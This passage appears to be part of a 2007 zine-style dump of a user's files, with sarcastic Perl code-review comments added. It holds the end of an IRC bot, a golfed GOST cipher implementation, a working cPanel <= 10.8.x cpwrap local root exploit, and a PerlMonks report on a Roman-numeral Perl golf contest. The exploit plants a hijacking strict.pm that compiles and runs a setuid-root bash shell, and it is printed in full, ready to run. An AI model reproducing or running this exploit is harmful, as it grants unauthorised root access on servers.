mistakes. They're wrong. With computers you make mistakes faster. - Adam Osborne -\n"}
case 13 { print $con "privmsg $xchannel : They have computers, and they may have other weapons of
mass destruction. - Janet Reno -\n"}
case 14 { print $con "privmsg $xchannel : Computers are useless. They can only give you answers. -
Pablo Picasso -\n"}
case 15 { print $con "privmsg $xchannel : Computers make it easier to do a lot of things, but most
of the things they make it easier to do don't need to be done. - Andy Rooney -\n"}
case 16 { print $con "privmsg $xchannel : Think? Why think! We have computers to do that for us. -
Jean Rostand -\n"}
case 17 { print $con "privmsg $xchannel : Treat your password like your toothbrush. Don't let
anybody else use it, and get a new one every six months. - Clifford Stoll -\n"}
case 18 { print $con "privmsg $xchannel : Users, collective term for those who use computers. Users
are divided into three types: novice, intermediate and expert.Novice Users: people who are afraid
that simply pressing a key might break their computer.
Intermediate Users: people who don't know how to fix their computer after they've just pressed a
key that broke it.
Expert Users: people who break other people's computers. - From the Jargon File. -\n"}
case 19 { print $con "privmsg $xchannel : Artificial intelligence ? No thank you, I don't need
crutches. - Szylowicz (my former assembler teacher) -\n"}
case 20 { print $con "privmsg $xchannel : Science is supposedly the method by which we stand on the
shoulders of those who came before us. In computer science, we all are standing on each others
feet. - G. Popek. -\n"}
case 21 { print $con "privmsg $xchannel : Press CTRL-ALT-DEL now for an IQ test. - At the time of
Win95/98/ME -\n"}
case 22 { print $con "privmsg $xchannel : Artificial Intelligence usually beats natural
stupidity.\n"}
case 23 { print $con "privmsg $xchannel : This manual says what our product actually does, no
matter what the salesman may have told you it does. - In a californian graphic board manual, 1985.
-\n"}
case 24 { print $con "privmsg $xchannel : I sit looking at this damn computer screen all day long,
day in and day out, week after week, and think: Man, if I could just find the 'on' switch... -
Zachary Good -\n"}
case 25 { print $con "privmsg $xchannel : Build a system that even a fool can use, and only a fool
will want to use it\n"}
case 26 { print $con "privmsg $xchannel : Making fun of AOL users is like making fun of the kid in
the wheel chair.\n"}
case 27 { print $con "privmsg $xchannel : Dude, I hate to be the bearer of bad news, but I'm afraid
you've been hacked — the FTP server at 127.0.0.1 has all your personal files. See for
yourself; just log in with your normal id.... - Classic joke on new Unix users. -\n"}
case 28 { print $con "privmsg $xchannel : Relax, its only ONES and ZEROS !\n"}
case 29 { print $con "privmsg $xchannel : I have NOT lost my mind — I have it backed up on
tape somewhere.\n"}
case 30 { print $con "privmsg $xchannel : INSERT DISK THREE' ? But I can only get two in the drive
!\n"}
case 31 { print $con "privmsg $xchannel : Daddy, why doesn't this magnet pick up this floppy disk
?\n"}
case 32 { print $con "privmsg $xchannel : Daddy, what does FORMATTING DRIVE C mean ?\n"}
case 33 { print $con "privmsg $xchannel : See daddy ? All the keys are in alphabetical order
now.\n"}
case 34 { print $con "privmsg $xchannel : Q- What is the difference between a computer and a woman
?
A- A woman won't accept a 3 and 1/2-inch floppy !\n"}
case 35 { print $con "privmsg $xchannel : When I was a teenager, Mom said I'd go blind if I didn't
quit doing *that*. Maybe she was right — since the invention of internet porn, computer
monitors keep getting bigger and bigger. ! - Bill Ervin. -\n"}
case 36 { print $con "privmsg $xchannel : Smash forehead on keyboard to continue...\n"}
case 37 { print $con "privmsg $xchannel : Where a calculator on the ENIAC is equipped with 18 000
vacuum tubes and weighs 30 tons, computers of the future may have only 1 000 vacuum tubes and
perhaps weigh 1½ tons. - Popular Mechanics, March 1949. -\n"}
case 38 { print $con "privmsg $xchannel : But what... is it good for ? - An engineer at the
Advanced Computing Systems Division of IBM, commenting on the microchip in 1968. -\n"}
case 39 { print $con "privmsg $xchannel : There is no reason anyone would want a computer in their
home. - Ken Olson, president/founder of Digital Equipment Corp., 1977. -\n"}
case 40 { print $con "privmsg $xchannel : There's no problem so large it can't be solved by killing
the user off, deleting their files, closing their account and reporting their REAL earnings to the
IRS. - The B.O.F.H.. - \n"}
case 41 { print $con "privmsg $xchannel : In the future, airplanes will be flown by a dog and a
pilot. And the dog's job will be to make sure that if the pilot tries to touch any of the buttons,
the dog bites him. - Scott Adams (author of Dilbert). -\n"}
case 42 { print $con "privmsg $xchannel : go shave ya mommy XD - Dj_Asim - milw0rm forums 2006 -
[url]http://forum.milw0rm.com/viewtopic.php?t=1595[/url]\n"}
else{ print $ran}
}
}
}
if($answer =~ m/\morning/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
print $con "privmsg $xchannel :good morning sir..\n";
}
}
if($answer =~ m/\!changenick/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
@strpart = split(" ",$xtext);
$p = $strpart[1];
$encpw = md5_hex($p);
if($encpw == $pass)
{
my @array = qw/fish2fish akira alazreal alexander andy andycapp anxieties anxiety bailey batman bd
beetle beetlebailey billcat billthecat binkley blondie bloom bloomcounty brown capp catwoman caucas
cerebus charlie charliebrown clint commissioner cookie county cutter cutterjohn dagwood darkknight
darknight davis dopey duke feivel fievel flamingcarrot fritz fritzthecat garfield gepetto
greenarrow greenlantern
grinch grumpy hulk iest jaka jdavis jimdavis jiminy jiminycricket joanie joaniecaucas john joker
julius kal-el kalel linus liz lucy lyman
marvin melblanc mike milo mousekevitz mousekewitz mouskevitz mouskewitz mscaucas nermal nimh odie
oliver onefishtwofish opus ororo outland palnu papa papagepetteo peanuts penguin peterpan pigpen
pinhead pinnocchio pinnoccio pinocchio pinoccio pinochio popus riddler robin roz rumpelstiltzkin
rumplestiltzkin sally sarge schroder schroeder scrooge shoe smurf sneezey sneezy snoopy snowhite
snowwhite spiderman spike superman thething tinkerbell tinkerbelle twoface vanpelt watershipdown
wolverine wolveroach woodstock xmen ziggy zippy zonker
/;
my $draw = @array[rand @array];
# see, that's much better. But it still should be more like:
# my $draw = $array[rand scalar @array];
print $con "NICK $draw\r\n";
# Or just: print $con "NICK $array[rand scalar @array]\r\n";
# You wouldn't believe the parser magic that goes into making that work
}
}
}
#give sexual pleassure
# Please, don't, keep your "pleassure" to yourself
if($answer =~ m/\!inject/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
$ran = int(rand(12));
switch($ran){
case 0 { print $con "privmsg $xchannel : injected $xnick with an MS keyboard.....\n"}
case 1 { print $con "privmsg $xchannel : injected $xnick with
[img]http://img91.imageshack.us/img91/2033/03zd9.jpg[/img]\n"}
case 2 { print $con "privmsg $xchannel : injected $xnick with
[img]http://img135.imageshack.us/img135/6393/02ms6.jpg[/img]\n"}
case 3 { print $con "privmsg $xchannel : injected $xnick with a NASA space-shuttle.....\n"}
case 4 { print $con "privmsg $xchannel : injected $xnick with
[img]http://img91.imageshack.us/img91/6918/lewllq5.jpg[/img]\n"}
case 5 { print $con "privmsg $xchannel : injected $xnick with a toothbrush.....\n"}
case 6 { print $con "privmsg $xchannel : injected $xnick with a pen.....\n"}
case 7 { print $con "privmsg $xchannel : injected $xnick with
[img]http://www.servut.us/ssakari/kuvat/two_girls_kissing.jpg[/img]\n"}
case 8 { print $con "privmsg $xchannel : injected $xnick with [img]http://la.gg/upl/6541c6b7.gif[/img]\n"}
case 9 { print $con "privmsg $xchannel : injected $xnick with a chair.....\n"}
case 10 { print $con "privmsg $xchannel : injected $xnick with a midget.....\n"}
case 11 { print $con "privmsg $xchannel : injected $xnick with a spoon.....\n"}
case 12 { print $con "privmsg $xchannel : injected $xnick with a fork.....\n"}
else{ print $ran}
}
# Yea, basically the same crap as anywhere else
}
}
#get proxies from nntime.com
if($answer =~ m/\!proxy/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
$getproxy = IO::Socket::INET->new(PeerAddr=>'66.29.36.40',PeerPort=>'80',Proto=>'tcp',Timeout=>'1')
|| print "Error: Connection\n";
print $getproxy "GET /index.php HTTP/1.0\n";
print $getproxy "Host: [url]www.nntime.com[/url]\n\n";
while($proxy = <$getproxy>)
{
$proxy =~
m/(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9
]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?):([0-9][0-9][0-9][0-9])/ && print $con
"privmsg $xnick :$1.$2.$3.$4:$5\n";
# Well well. Isn't that a, uh, "interesting" regex
}
}
}
#auto rejoin after kick
if($answer =~ m/KICK $chan/)
{
my @array = qw/fish2fish akira alazreal alexander andy andycapp anxieties anxiety bailey batman bd
beetle beetlebailey billcat billthecat binkley blondie bloom bloomcounty brown capp catwoman caucas
cerebus charlie charliebrown clint commissioner cookie county cutter cutterjohn dagwood darkknight
darknight davis dopey duke feivel fievel flamingcarrot fritz fritzthecat garfield gepetto
greenarrow greenlantern
grinch grumpy hulk iest jaka jdavis jimdavis jiminy jiminycricket joanie joaniecaucas john joker
julius kal-el kalel linus liz lucy lyman
marvin melblanc mike milo mousekevitz mousekewitz mouskevitz mouskewitz mscaucas nermal nimh odie
oliver onefishtwofish opus ororo outland palnu papa papagepetteo peanuts penguin peterpan pigpen
pinhead pinnocchio pinnoccio pinocchio pinoccio pinochio popus riddler robin roz rumpelstiltzkin
rumplestiltzkin sally sarge schroder schroeder scrooge shoe smurf sneezey sneezy snoopy snowhite
snowwhite spiderman spike superman thething tinkerbell tinkerbelle twoface vanpelt watershipdown
wolverine wolveroach woodstock xmen ziggy zippy zonker
/;
# Almost makes me wonder why you had to redefine this massive list
my $draw = @array[rand @array];
print $con "NICK $draw\r\n";
print $con "JOIN $chan\r\n";
}
# Let's let the rest of this explain itself.
# Let is settle in your mouth, like some cheap Eastern wine
# Swish it around, and spit it out
#get advisory news from secunia.com
if($answer =~ m/\!advisories/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
$getadv =
IO::Socket::INET->new(PeerAddr=>'213.150.41.226',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
"Error: Connection\n";
print $getadv "GET /information_partner/anonymous/o.rss HTTP/1.0\n";
print $getadv "Host: secunia.com\n\n";
while($adv = <$getadv>)
{
$adv =~ m/CDATA(.*?)><\/title>/ && print $con "privmsg $xnick :$1$2$3\n";
$adv =~ m/<link>(.*?)<\/link>/ && print $con "privmsg $xnick :$1$2$3\n";
}
}
}
#securitynews from addict3d.org
if($answer =~ m/\!securitynews/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
$gen = IO::Socket::INET->new(PeerAddr=>'84.95.245.150',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') ||
print "Error: Connection\n";
print $getsecn "GET /backend_security.php HTTP/1.0\n";
print $getsecn "Host: addict3d.org\n\n";
while($secn = <$getsecn>)
{
$secn =~ m/<title>(.*?)<\/title>/ && print $con "privmsg $xnick :$1$2$3\n";
$secn =~ m/<link>(.*?)<\/link>/ && print $con "privmsg $xnick :$1$2$3\n";
}
}
}
if($answer =~ m/\!technews/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
$gettechn =
IO::Socket::INET->new(PeerAddr=>'84.95.245.150',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
"Error: Connection\n";
print $gettechn "GET /backend_news.php HTTP/1.0\n";
print $gettechn "Host: addict3d.org\n\n";
while($techn = <$gettechn>)
{
$techn =~ m/<title>(.*?)<\/title>/ && print $con "privmsg $xnick :$1$2$3\n";
$techn =~ m/<link>(.*?)<\/link>/ && print $con "privmsg $xnick :$1$2$3\n";
}
}
}
#get exploit news from milw0rm.com
if($answer =~ m/\!exploits/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
$getexp =
IO::Socket::INET->new(PeerAddr=>'213.150.45.196',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
"Error: Connection\n";
print $getexp "GET /rss.php HTTP/1.0\n";
print $getexp "Host: [url]www.milw0rm.com[/url]\n\n";
while($exp = <$getexp>)
{
$exp =~ m/<title>(.*?)<\/title>/ && print $con "privmsg $xnick :$1$2$3\n";
$exp =~ m/<guid>(.*?)<\/guid>/ && print $con "privmsg $xnick :$1$2$3\n";
}
}
}
#answer to ping requests
if($answer =~ m/^PING (.*?)$/gi)
{
print $con "PONG ".$1."\n";
}
print $answer;
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 1707 2007-02-26 18:19 school/vipul.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Author: Vipul Ved Prakash.
Contact: [email]mail@vipul.net[/email]
The Perl Code
#!/usr/bin/perl -s
sub R{int$_[0]||
return vec$_[1],$_[2]/4,32;int$_[0]*rand}($R)
=$^=~'([\]-\`])';sub F{$u=0;grep$u|=$S->[$_][$_[0]>>
$_*4&15]<<$_*4,reverse 0..7;$u<<11|$u>>21}$t=$e
||$d?join'',<>:(($p,$d)=($R,1),unpack u
,"(3=MCV7%2W'<`");@b=@t=0..15;for(
;$i<length$p;$i+=4){srand($s^=R$R,$p
,$i)}while($ci<8){grep{push@b ,splice
@b,R(9),5}@t;$R[$c]=R(2 **32);@{
$S->[$c++]}=@b}@h=0..7;@o =reverse
@h;while($a<length
$t){$v=R$R,$t,$a;
$w=R$R,$t,($a+=8)-4;
grep$q++%2?$v
^=F$w+$R
[$$R]:( $w^=F$v+$R[$$R]),$d?(@h,(@o)
x3):(( @h)x3,@o);$_.=pack N2,$w,$v}
What It Does
The code is a diminutive implementation of the KGB block cipher, GOST, in
Simple Substitution Mode as described in the Soviet Standard (GOST 28147-89).
An English translation by Josef Pieprzyk and Leonid Tombak is available from
[url]ftp://vipul.net/pub/gost/specs.ps.gz.[/url] (You don't really want to read this, a
functional description of the algorithm is included in this file.)
Besides implementing the encryption algorithm, the code also also computes
the key-store-unit and s-box permutations as a function of the pass-phrase.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 1571 2007-02-26 18:19 laugh/cpanel.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<Calvin> Hey Dad, know why you didn't see me all morning?? I was two-dimensional!
<Dad> Hmmm, I'll bet you can't do it all afternoon, too...
<Mom> Dear!
#!/usr/bin/perl -w
# use warnings, not -w preferably
# 10/01/06 - cPanel <= 10.8.x cpwrap root exploit via mysqladmin
# use strict; # haha oh wait..
my $cpwrap = "/usr/local/cpanel/bin/cpwrap";
my $mysqlwrap = "/usr/local/cpanel/bin/mysqlwrap";
my $pwd = `pwd`;
# Cwd is core
chomp $pwd;
# chomp ( my $pwd = getcwd );
$ENV{'PERL5LIB'} = "$pwd";
# Quotes suck.
if ( ! -x "/usr/bin/gcc" ) { die "gcc: $!\n"; }
if ( ! -x "$cpwrap" ) { die "$cpwrap: $!\n"; }
if ( ! -x "$mysqlwrap" ) { die "$mysqlwrap: $!\n"; }
# -x $cpwrap or die "$cpwrap: $!\n";
open (CPWRAP, "<$cpwrap") or die "Could not open $cpwrap: $!\n";
# I like how you check, and use or, however,
# you should use a modern three part open statement, and preferably lexical variables
while(<CPWRAP>) {
if(/REMOTE_USER/) { die "$cpwrap is patched.\n"; }
}
close (CPWRAP);
# yucky
open (STRICT, ">strict.pm") or die "Can't open strict.pm: $!\n";
print STRICT "\$e = \"int main(){setreuid(0,0);setregid(0,0);system(\\\\\\\"/bin/bash\\\\\\\");}\";\n";
print STRICT "system(\"/bin/echo -n \\\"\$e\\\">Maildir.c\");\n";
print STRICT "system(\"/usr/bin/gcc Maildir.c -o Maildir\");\n";
print STRICT "system(\"/bin/chmod 4755 Maildir\");\n";
print STRICT "system(\"/bin/rm -f Maildir.c strict.pm\");\n";
close (STRICT);
# Listen. If you use single quotes, you don't have to escape all of that.
system("$mysqlwrap DUMPMYSQL 2>/dev/null");
if ( -e "Maildir" ) {
system("./Maildir");
}
else {
unlink "strict.pm";
die "Failed\n";
}
# Not bad, not too bad.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 17138 2007-02-26 18:19 school/regex.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Dueling Flamingos: The Story of the Fonality Christmas Golf Challenge
by eyepopslikeamosquito
Any problem in computer science can be solved with another layer of indirection.
-- David Wheeler
Whee, $$$_=$_
-- Juho Snellman celebrates finding that extra layer during the Fonality Golf Challenge
Perl Golf is a hard and cruel game. In this report on the recent Christmas 2006 Fonality Golf
Challenge, I hope to not only lay bare the secrets of the golfing masters but also tell some
personal stories of triumph and despair that occurred during this fascinating competition.
The Problem
You must read a line of roman numerals from the standard input, for example:
II plus III minus I
and write the result to the standard output:
IV
for this example. Fonality provided a more detailed and precise problem statement.
A Simple Solution
Here's a simple solution to the problem:
#!perl -lp
map{$_.=(!y/IVXLC/XLCDM/,I,II,III,IV,V,VI,VII,VIII,IX)[$&]while s/\d//
+;$$_=$n++}@R=0..3999;
y/mp/-+/;s/\w+/${$&}/g;$_=$R[eval]
This easy to understand solution hopefully makes clear some of the important strategic ideas used
by the top golfers, namely:
Rather than attempting to calculate a running total, $_ is transformed in place. For example, II
plus III is transformed into 2 + 3. With that done, eval is employed to compute the total.
You don't need to write two converters: it is sufficient to write an arabic_to_roman() converter.
To convert the other way, simply convert 1..3999 into a table or something and do a lookup.
It turns out that symbolic references are crucial in this game because they are shorter than other
lookup techniques, such as hashes. In the simple solution above, a symbolic reference is created
for each roman numeral whose value is the corresponding arabic number.
HART: The Hospelian Arabic to Roman Transform
During a Polish Golf Tournament played in March 2004, Ton Hospel rocked the Polish golf community
by unleashing his miraculous magical formula to convert an arabic number to a roman numeral.
I've decided to honour this magic formula with a name: HART (Hospelian Arabic to Roman Transform).
This name was inspired by the ST (Schwartzian Transform) and the GRT (Advanced Sorting - GRT -
Guttman Rosler Transform). If you can think of a better name, please respond away. :-)
As you might expect, Ton's Polish hosts were astonished by his ingenuity, Grizzley remarking:
You should see some of Golfers after reading your explanation... eyes big like cups of tea, heart
attacks, etc.
Curiously, though he competed in this historic original Polish roman game, Grizzley did not employ
HART himself in the Fonality challenge, preferring his own clever (and quite short) algorithm that
was only seven strokes longer.
Converting plus and minus
This was an interesting little sub-problem featuring the versatile tr/// (aka y///) operator.
If your goal is to transform, for example, II plus III, into 2 + 3, you might dispatch the plus and
minus with y/mpislun/-+/d. Of course, if you cared more about jokes than strokes, you'd rearrange
the letters to form y/linus.pm/ +-/ instead. :-) Which can be easily shortened, using
character ranges, to y/mpa-z/-+/d.
What next? Well, if you are later using something like s/\w+/${$&}/g to convert roman numerals to
arabic numbers via symbolic references, a serendipitous side effect of that s/// expression is that
the lower case letters remaining in plus and minus will be eliminated! You can therefore shorten to
simply y/mp/-+/.
As a final flourish, you can shave one further stroke by employing y/m/-/ in harness with
s/\w+/+${$&}/g.
Rather than converting, for example, II plus III, into 2 + 3, the leading golfers transformed it
into $II +$ III instead. If you're doing that, you can employ y/isl-z/-$+/d to transform the plus
and minus, and s''$' to prepend the leading $. An interesting alternative, attempted early in the
game by Ton, is to eschew the beloved y/// operator in favour of s///, namely s'^| '+$'g and
s/nus/-/g, though that turns out to be one stroke longer.
Putting it All Together
The strategy used by the top golfers in this competition is essentially a three step process:
Convert, for example, II plus III, into $II +$ III.
Build two sets of symbolic references: one mapping roman numerals to their corresponding arabic
number, the other mapping (negative) numbers back to the roman numerals. Notice that you must use
negative numbers because you can create a symref of -42 but not 42. The building of this second set
is easily recognized by the surreal construct: $$$_=$_.
Eval the expression built in step one and put the result back into $_ for printing, courtesy of the
-p option.
As is often the case in golf, one insight leads to another: if symbolic references proved useful
for converting one way, why not try to exploit them to convert the other way also? And, in so
doing, remove the need for the @R array seen in the first simple solution above.
To clarify this three step process, I've prepared a commented version with the arabic to roman
numeral step abstracted into a subroutine and without any arcane golfing tricks.
#!perl -lp
# r() converts an arabic number (1..3999 or -3999..-1) to a roman nume
+ral.
sub r{my$s;($s.=5x$_*8%29628)=~y$IVCXL426(-:$XLMCDIVX$dfor/./g;$s}
y/iul-z/-$+/d; # Step 1: convert plus and minus to +$
+and -$
s''$'; # Step 1: prepend $
$$_=r(),$$$_=$_ for-3999..-1; # Step 2: build two sets of symbolic re
+ferences
$_=${+eval}; # Step 3: eval the expression
Of interest here is the final line above. Remarkably, ton changed it to *_=eval, with the wry
comment "More fun with globs", in only one minute twenty seconds! If Juho, who played brilliantly
throughout, had found this final trick he would have tied ton for first prize.
Tactical Tricks
In addition to the overall strategies discussed above, tactics also play a vital role.
As pointed out to me by thospel, constructing the table backwards, from 3999 down to 1, also allows
you to safely place the $$$_=$_ inside the s///eg expression, since wrong entries for partial roman
strings during the build get fixed later (see Ton's 99.56 solution below).
It's also worth noting that counting downwards allows you to safely extend the range from 3999 to
4e3 thus avoiding the nasty edge case bugs that plagued the solutions of TedYoung, szeryf, Sec and
Jasper, where the (invalid) 4e3 case tramples on a previously correct entry.
Dueling Flamingos: The Battle of the Last T-Shirt
Late in this game, there was a gripping duel, silently fought between two gritty characters
pounding away on their keyboards in Ottawa and New York. This was the titanic Battle of the Last
T-Shirt.
The lead see-sawed back and forth between `/anick Champoux and Michael Wrenn right up until the
final bell, with Michael emerging the exhausted victor by a single stroke.
Here is what `/anick had to say after it was all over:
But nevermind that blunderific overlook of the Great Thome of Golfic Knowledge. Nevermind an
obscenely tumefied forehead, caused by repeated percussions against my desk during the
ever-excruciating quest for the next shaved stroke. What really make me wail like a tax-audited
banshee is that the referee just went through the last of the pending entries, allowing m.wrenn to
sneak one stroke ahead of me and bump me off the top 20, literally yanking the prized t-shirt off
my clenched fists.
m.wrenn, if you are on this list, consider my fist -- yes, that same fist that you so fiendishly
robbed from its prize -- shaked in barely supressed fury in your general direction. And mark my
words: one day, I shall have my revenge upon thee!
And here is his final 170.51:
#!perl -lp040
$s=/m/
if/u/;($y=I1V5X10L50C100D500M1000IV4IX9XL40XC90CD400CM900)=~/$&/,$i=$t
++=$s^"$;">($;=$')?-$;:$;while
s/.$//}{1while$y=~/(\D+)$i/&&$t>=$i?($_.=$1,$t-=$i):$i--
[download]
`/anick was the only golfer imaginative enough to employ the command line switch 040 in harness
with the }{ "eskimo greeting" secret operator. I'll refrain from commenting further on his creative
masterwork because, frankly, I do not understand it.
Here is Michael's moving response, along with his final 169.51 solution:
I went out to get some dinner and returned to check on my solid 20th Place (securing a prized
Fonality/trixbox T-shirt) ... when what to my wondering eyes should appear, but \'anick the Canuck
who was now TWO STROKES CLEAR! I CURSEd and I SHOUTed and I called him some names| That Bastr/a//d!
That foo|bird! That Flamingo again!!! I'll catch him! I'll pass him! I'll beat him this time! I'll
punk him! I'll twizzle and addle his brain! To the top of the board! Past Juho and ton! Now slash
away, slash away, slash away all!
When I came to, I was still one stroke back and all my hair had been yanked out and deposited on
the floor next to me. That \'akinc! It was after 1AM and I needed inspiration. I went into my
closet and tried on all of my T-shirts ... None of them fit! I needed a NEW one!
So, I had another beer (a nice Belgian one) and kept at it and just before 2AM, I saw the light! An
extremely obvious 2 stroker that I had tried earlier in a slightly different form. I could feel
that feeling of cotton ...
#!perl -lp
@@{@@=map{$_,$_.0,$_*100}4,5,9,10}=qw(IV XL CD V L D IX XC CM X C M);f
+or$~(@@){s/$@{$~}/"I "x$~/ge}s/I//while s/m\w* +I/m /;$~=y/I//cd;s/I{
+$~}/$@{$~}||$&/gewhile$~--
Top Ten Countdown
The top ten golfers at the close of play were:
1. 99.56 ton Netherlands
2. 102.54 Juho Snellman Finland
3. 108.53* TedYoung USA
4. 111.49 jojo France?
5. 115.52* szeryf Poland
6. 118.53 pijll Netherlands
7. 120.51* Sec Germany
8. 122.54 eyepopslikeamosquito Australia
9. 126.46* Jasper UK
10. 129.50 Util USA
In writing this report I became aware that the solutions marked with an asterisk (*) above, though
they passed the referee's test program, each contained a bug, failing on one or more of the
following test cases:
{ in => "MD plus I\n",
out => 'MDI' . "\n" },
{ in => "MD minus I\n",
out => 'MCDXCIX' . "\n" },
They can all be easily remedied by changing 4e3 to 3999, at the cost of a single stroke. Since I'm
sure each of these golfers would have found this trivial fix had the referee's test program been
more exhaustive, I've taken the liberty of adjusting their scores above and their solutions below.
Please note that I am not the tournament referee and therefore do not have any authority to make a
decision on this matter. I bring it to light here only in the interests of historical accuracy.
It is interesting to note that nine of the top 10 had previously competed in the strenuous TPR
tournament circuit of 2002. And the only one who hadn't, jojo, had played 12 challenges previously
at codegolf.
10. Util (129.50)
Util has limited previous golfing experience, having competed in two tournaments in the 2002 TPR
season, finishing the season in 121st place, with winnings of $59,000. Accordingly, I expect he was
well satisfied with a top ten finish.
#!perl -lp
$==$_,s!.!y$IVCXL91-I0$XLMCDXVIII$dfor$_[$=].=4x$&%1859^7;5!egfor+0..3
+999;@&{@_}=0..@_;y/il-z/-+/d;s/\w+/$&{$&}/g;$_=$_[eval]
Though some strokes can be whittled from this lookup hash approach -- for example, this one:
#!perl -lp
s!.!y$IVCXL91-I0$XLMCDXVIII$dfor$X[$_].=4x$&%1859^7!egfor+0..3999;@Y{@
+X}=0..@X;y/m/-/;s/\w+/+$Y{$&}/g;$_=$X[eval]
is 12 strokes less fat -- Util really needed to find the symbolic reference hack to join the
leading pack.
9. Jasper (126.46)
Jasper is a very experienced golfer, having competed in ten tournaments in the 2002 TPR season,
finishing the season in 13th place, with winnings of $719,600.
Jasper was the highest placed of those golfers who missed Ton's magic roman formula.
#!perl -lp
map{y/IVXLC/XLCDM/,s!\d!$&^4?$&^9?V x($&>3).I x($&%5):IX:IV!ewhile//;$
+$_=$n++}@d=0..3999;y/m/-/;s/\w+/+${$&}/g;$_=$d[eval]
[download]
What was astonishing here is that Jasper had never heard of mtve's book of golf containing Ton's
magic roman formula. This is despite playing in many, many golfs over the years and being mentioned
many times in the book himself.
8. eyepopslikeamosquito (122.54)
eyepopslikeamosquito is an experienced golfer, having competed in eight tournaments in the 2002 TPR
season, finishing the season in 17th place, with winnings of $652,400.
#!perl -lp
sub'_{$;=0;($;.=5x$_*8%29628)=~y$IVCXL426.-X$XLMCDIVX$dfor/./g;$;}y;mp
+;-+;;s>\w+>(grep$&eq&_,1..1e4)[0]>eg;$_=_$_=eval
Like Util, eyepopslikeamosquito wasn't really in the game because he failed the find the symbolic
reference trick. While Util used a hash lookup, eyepopslikeamosquito tried grep in harness with a
sub.
7. Sec (120.51)
Sec is an experienced golfer, having competed in eight tournaments in the 2002 TPR season,
finishing the season in 57th place, with winnings of $179,467.
#!perl -lp
@%=map{my$a;s/./y!IVCXL91-80!XLMCDXVIII!dfor$a.=4x$&%1859^7/eg;$$a=$/-
+-;$a}0..3999;y/i/-/;s/\w+/${$&}/g;$_=$%[-eval]
Of note here, is that Sec only spent half a day on the entire tournament. Impressive.
6. pijll (118.53)
pijll is a champion golfer, having competed in ten tournaments in the 2002 TPR season, finishing
the season in 3rd place, with winnings of $3,540,000. Notably, pijll has beaten ton in head-to-head
matches on at least three occasions, winning the tournament each time.
#!perl -pl
y/i-z/-+/s;for$a(1..4e3){$a=~s#.#($n[$a].=4x$&%1859^7)=~y$IVCXL91-I0$X
+LMCDXVIII$d;s/\b$n[$a]\b/$a/g#ge}$_=$n[eval]
pijll is such a classy golfer that had you mentioned in passing, "Erm, (-ugene, why not try using a
symbolic reference in this game?", I have no doubt that pijll would have been battling with ton and
Juho for first prize a few hours later.
5. szeryf (115.52)
szeryf is an experienced golfer, having competed in one tournament in the 2002 TPR season,
finishing the season in 123rd place, with winnings of $56,000. In his only tournament in that
season, he thrillingly came from behind to snatch the Beginner's trophy.
Since then he has competed in a number of Polish golf tournaments.
#!perl -pl
@;=map{$a=0;($a.=4x$_%1859^7)=~y!IVCXL91-80!XLMCDXVIII!dfor/./g;$$a=$_
+;$a}s''$'>y/isl-{/-$+
/..3999;$_=$;[eval]
4. jojo (111.49)
jojo is a mystery golfer. If anyone knows more about him/her, please let us know. jojo is an
experienced golfer, having competed in 12 challenges at codegolf where he/she is currently in 15th
place overall.
#!perl -pl
s|.|y;CLXVI624.-=;MDCLXXVI;dfor$$_.=5x$&*8%29628;$&|ge,$$$_=$_^Kfor-4e
+3..o;s;\w+;${$&}|$&&'-';ge;$_=${+eval}
3. TedYoung (108.53)
TedYoung is an experienced golfer, having competed in three tournaments in the 2002 TPR season
(under the moniker Theodore Young), finishing the season in 82nd place, with winnings of $127,200.
#!perl -lp
y,iul-~,-$+,d,$_=eval,${$@}=1..!s/./y@IVCXL91-:0@XLMCDXVIII@dfor$@.=4x
